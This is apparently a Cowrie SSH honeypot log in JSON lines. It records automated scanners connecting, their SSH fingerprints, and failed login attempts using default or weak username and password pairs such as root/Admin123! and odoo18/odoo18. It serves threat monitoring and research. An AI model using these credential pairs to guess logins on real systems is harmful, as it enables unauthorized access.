{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:21.113602Z","src_ip":"192.109.200.78","session":"c832d9e235de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc456","message":"login attempt [root/123abc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:21.514533Z","src_ip":"192.109.200.78","session":"c832d9e235de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:22.314436Z","src_ip":"176.65.139.95","session":"802a4b93a331","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:22.600076Z","src_ip":"192.109.200.78","session":"c832d9e235de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51064,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ce3942a338c","protocol":"ssh","message":"New connection: 192.109.200.78:51064 (159.203.135.109:22) [session: 3ce3942a338c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:25.125336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:25.130349Z","src_ip":"192.109.200.78","session":"3ce3942a338c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:25.219697Z","src_ip":"192.109.200.78","session":"3ce3942a338c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:25.760638Z","src_ip":"192.109.200.78","session":"3ce3942a338c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":53452,"dst_ip":"10.17.0.5","dst_port":22,"session":"c43dee0bebb1","protocol":"ssh","message":"New connection: 177.54.62.66:53452 (10.17.0.5:22) [session: c43dee0bebb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:26.139421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:26.147209Z","src_ip":"177.54.62.66","session":"c43dee0bebb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:26.282032Z","src_ip":"177.54.62.66","session":"c43dee0bebb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test333","message":"login attempt [test/test333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:26.844702Z","src_ip":"177.54.62.66","session":"c43dee0bebb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:26.872838Z","src_ip":"192.109.200.78","session":"3ce3942a338c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":50322,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d80a1a29085","protocol":"ssh","message":"New connection: 176.65.139.95:50322 (159.203.135.109:22) [session: 5d80a1a29085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:27.165171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:27.178265Z","src_ip":"176.65.139.95","session":"5d80a1a29085","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:27.296542Z","src_ip":"176.65.139.95","session":"5d80a1a29085","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!","message":"login attempt [root/Admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:27.613923Z","src_ip":"176.65.139.95","session":"5d80a1a29085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:27.988478Z","src_ip":"177.54.62.66","session":"c43dee0bebb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:28.701842Z","src_ip":"176.65.139.95","session":"5d80a1a29085","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44884,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a60ee678cc6","protocol":"ssh","message":"New connection: 192.109.200.78:44884 (159.203.135.109:22) [session: 2a60ee678cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:29.217928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:29.223555Z","src_ip":"192.109.200.78","session":"2a60ee678cc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:29.308566Z","src_ip":"192.109.200.78","session":"2a60ee678cc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:29.559325Z","src_ip":"192.109.200.78","session":"2a60ee678cc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34438,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3bdf3371fd8","protocol":"ssh","message":"New connection: 159.203.92.129:34438 (159.203.135.109:22) [session: b3bdf3371fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:30.319398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:30.373429Z","src_ip":"159.203.92.129","session":"b3bdf3371fd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:30.378169Z","src_ip":"159.203.92.129","session":"b3bdf3371fd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"PlcmSpIp","password":"PlcmSpIp","message":"login attempt [PlcmSpIp/PlcmSpIp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:30.583415Z","src_ip":"159.203.92.129","session":"b3bdf3371fd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:30.644543Z","src_ip":"192.109.200.78","session":"2a60ee678cc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:31.606253Z","src_ip":"159.203.92.129","session":"b3bdf3371fd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44896,"dst_ip":"159.203.135.109","dst_port":22,"session":"f76de6751c9b","protocol":"ssh","message":"New connection: 192.109.200.78:44896 (159.203.135.109:22) [session: f76de6751c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:33.255161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:33.261295Z","src_ip":"192.109.200.78","session":"f76de6751c9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:33.348058Z","src_ip":"192.109.200.78","session":"f76de6751c9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:33.603731Z","src_ip":"192.109.200.78","session":"f76de6751c9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":56340,"dst_ip":"159.203.135.109","dst_port":22,"session":"678bf1f2e440","protocol":"ssh","message":"New connection: 176.65.139.95:56340 (159.203.135.109:22) [session: 678bf1f2e440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:34.003090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:34.009494Z","src_ip":"176.65.139.95","session":"678bf1f2e440","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:34.087910Z","src_ip":"176.65.139.95","session":"678bf1f2e440","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:34.419695Z","src_ip":"176.65.139.95","session":"678bf1f2e440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:34.689967Z","src_ip":"192.109.200.78","session":"f76de6751c9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:35.522440Z","src_ip":"176.65.139.95","session":"678bf1f2e440","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44908,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e903c59a1ee","protocol":"ssh","message":"New connection: 192.109.200.78:44908 (159.203.135.109:22) [session: 6e903c59a1ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:37.340683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:30:37.347693Z","src_ip":"192.109.200.78","session":"6e903c59a1ee","protocol":"ssh"}
